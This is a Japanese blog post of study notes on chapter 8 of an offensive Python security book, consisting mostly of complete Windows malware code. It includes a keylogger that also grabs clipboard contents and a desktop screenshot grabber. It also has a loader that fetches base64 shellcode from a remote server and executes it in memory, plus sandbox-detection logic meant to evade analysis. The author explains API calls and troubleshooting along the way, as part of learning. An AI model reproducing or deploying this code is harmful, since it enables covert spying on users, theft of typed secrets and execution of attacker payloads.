サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 8章 勉強まとめ

nnpo.hatenablog.com

趣味と実益のためのキーロガー

一応は動くのですが、反映されるのが遅かったり、一部のアプリケーションではエラーが起きてしまう…… (TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name' がでてしまう)

# -*- coding: utf-8 -*-

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
current_window = None

def get_current_process():

    #操作中のウィンドウへのハンドルを取得
    hwnd = user32.GetForegroundWindow()

    #プロセスIDの特定
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    #特定したプロセスIDの保存
    process_id = "{}".format(pid.value)

    #実行ファイル名の取得
    executable = create_string_buffer(b"\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

    #ウィンドウのタイトルバーの文字列を取得
    window_title = create_string_buffer(b"\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    #ヘッダーの出力
    print("")
    print("[ PID: {0} - {1} - {2} ]".format(process_id, executable.value, window_title.value))
    print("")

    #ハンドルのクローズ
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def KeyStroke(event):

    global current_window

    #操作中のウィンドウが変わったか確認
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    #標準的なキーが押下されたか
    if event.Ascii > 32 and event.Ascii < 127:
        print(chr(event.Ascii), end="")
    else:
        #[ctrl-V]が押下されたならば、クリップボードのデータを取得
        if event.Key == "V":

            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print("[PASTE] - {0}".format(pasted_value))

        else:
            print("[{0}]".format(event.Key), end="")

    #登録済みの次のフックに処理を渡す
    return True



#フックマネージャの作成と登録
kl         = pyHook.HookManager()
kl.KeyDown = KeyStroke

#フックの登録と実行を継続
kl.HookKeyboard()
pythoncom.PumpMessages()

from ctypes import *

3章でCライクな構造体を作成する際にctypesを使いましたが、今回も使いました。

以下、このサイトで情報を調べています。

pinvoke.net: the interop wiki!

正直、winAPIの詳細がイマイチよく分かってない……。

user32 = windll.user32

ウィンドウベースのユーザー・インターフェースを管理。

kernel32 = windll.kernel32

プロセス、メモリや周辺装置を管理

psapi = windll.psapi

プロセス情報の取得を行う

byref(pid)

byref(executable)

byref(window_title)

引数 (ctypes 型のインスタンスでなければならない) への軽量ポインタを返す……ようは関数の引数にポインタが指定されているんでしょうね。

create_string_buffer(b"\x00" * 512)

バイト列オブジェクトのバッファを作成。

kernel32.OpenProcess(0x400 | 0x10, False, pid)

プロセスIDからプロセス・ハンドルの取得。

OpenProcess 関数

psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

指定されたモジュールのベース名を取得。これで実行ファイル名が取得できる。

GetModuleBaseName 関数

user32.GetWindowTextA(hwnd, byref(window_title), 512)

指定されたウィンドウのタイトルバーのテキストをバッファへコピー。

GetWindowText 関数

import pyHook

これをインポートするのにまず一手間かかりました。

stackoverflow.com

同じ悩みの方がいたので、それに対するアンサーにより解決。

まず、以下のサイトから自分の環境にあったものをDL。

Python Extension Packages for Windows - Christoph Gohlke

コマンドプロンプトより、ダウンロード先のフォルダに移動。

pip install~ で完了。

こんな感じです。


スクリーンショットの撮影

# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api

# メインのデスクトップ画面のハンドルを取得
hdesktop = win32gui.GetDesktopWindow()

# モニターのサイズをピクセル単位で特定
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# デバイスコンテキストを作成
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# メモリーデバイスコンテキストの作成
mem_dc = img_dc.CreateCompatibleDC()

# ビットマップオブジェクトの作成
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# メモリーデバイスコンテキストにデスクトップ画面をコピー
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# ビットマップをファイルに保存
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

# オブジェクトを解放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

これはまんまコメントに書いてあるままですね。


Python流のシェルコードの実行

# -*- coding: utf-8 -*-
import urllib.request
import ctypes
import base64

# Webサーバーからシェルコードを取得
url = "http://linux側のIPアドレス:8000/shellcode.bin"
response = urllib.request.urlopen(url)

# Base64デコードを行ってシェルコードを取り出す
shellcode = base64.b64decode(response.read())

# メモリー上にバッファーを作成
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# シェルコードを指す関数ポインタを作成
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))

# シェルコードの呼び出し
shellcode_func()

今までやったことを応用してといった感じ。

f:id:n_po:20160818164117p:plain

Metasploitの設定はこんな感じ。

で、Webサーバからスクリプトがシェルコードを受け取ったところまではいいのですが、電卓が起動されないという……。


サンドボックス検知

# -*- coding: utf-8 -*-

import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

keystrokes    = 0
mouse_clicks  = 0
double_clicks = 0

class LASTINPUTINFO(ctypes.Structure):
    _fields_ = [("cbsize", ctypes.c_uint),
                ("dwTime", ctypes.c_ulong)
                ]


def get_last_input():

    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbsize = ctypes.sizeof(LASTINPUTINFO)

    #最後に行われた入力の情報を取得
    user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

    #パソコンが起動してからの経過時間を取得
    run_time = kernel32.GetTickCount()

    elapsed = run_time - struct_lastinputinfo.dwTime

    print("[*] It's been {} milliseconds since the last input event.".format(elapsed))

    return elapsed

def get_key_press():
    
    global mouse_clicks
    global keystrokes

    for i in range(0, 0xff):
        if user32.GetAsyncKeyState(i) == -32767:

            #0x1 はマウスクリックを示す
            if i == 0x1:
                mouse_clicks += 1
                return time.time()
            elif i > 32 and i < 127:
                keystrokes += 1
    return None

def detect_sandbox():

    global mouse_clicks
    global keystrokes

    max_keystrokes          = random.randint(10,25)
    max_mouse_clicks        = random.randint(5,25)
    double_clicks           = 0
    max_double_clicks       = 10

    double_clicks_threshold = 0.250

    first_double_click      = None

    average_mousetime       = 0

    max_input_threshold     = 30000

    previous_timestamp      = None
    detection_complete      = False

    last_input = get_last_input()

    #しきい値に達した場合には、終了する
    if last_input >= max_input_threshold:
        sys.exit(0)

    while not detection_complete:

        keypress_time = get_key_press()

        if keypress_time is not None and previous_timestamp is not None:

            #クリックの間隔を算出
            elapsed = keypress_time - previous_timestamp

            #利用者がダブルクリックした場合
            if elapsed <= double_clicks_threshold:

                double_clicks += 1

                if first_double_click is None:

                    #最初のダブルクリックの日時を取得
                    first_double_click = time.time()

                else:

                    if double_clicks == max_double_clicks:
                        if keypress_time - first_double_click <= (max_double_clicks * double_clicks_threshold):
                            sys.exit(0)

            #十分に利用者の入力を確認できた場合
            if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks:
                return

            previous_timestamp = keypress_time

        elif keypress_time is not None:
            previous_timestamp = keypress_time

detect_sandbox()
print("We are ok!")


#while True:
#   get_last_input()
#   time.sleep(1)

class LASTINPUTINFO(ctypes.Structure)

毎度おなじみCライクな構造体。

struct_lastinputinfo = LASTINPUTINFO()

struct_lastinputinfo.cbsize = ctypes.sizeof(LASTINPUTINFO)

user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

GetLastInputInfo関数は、最後に発生した入力イベントの時刻を取得し、取得が失敗すると戻り値0が返ってくる。
成功すると、dwTimeに取得した値が代入される。
このLASTINPUTINFO構造体を作って、cbsizeを設定して、GetLastInputInfoで取得する流れはメジャーみたい。

pinvoke.net: GetLastInputInfo (user32)

GetLastInputInfo 関数

for i in range(0, 0xff)

if user32.GetAsyncKeyState(i) == -32767

GetAsyncKeyState関数は、関数呼び出し時にキーが押されているかどうかを知ることが出来る。
iは仮想キーコードを示していて、for文で片っ端からGetAsyncKeyStateを呼び出してキーが押されているか確認するといった流れ。
で、-32767ってなんなんだよ。キーが押されているのかどうかを判断しているんだろうけど、唐突すぎて分からない……と思っていたら、同じ疑問を持った人がいた。

GetAsyncKeyState(i) == -32767 meaning ? - C++ Forum

pinvoke.net: GetAsyncKeyState (user32)

GetAsyncKeyState 関数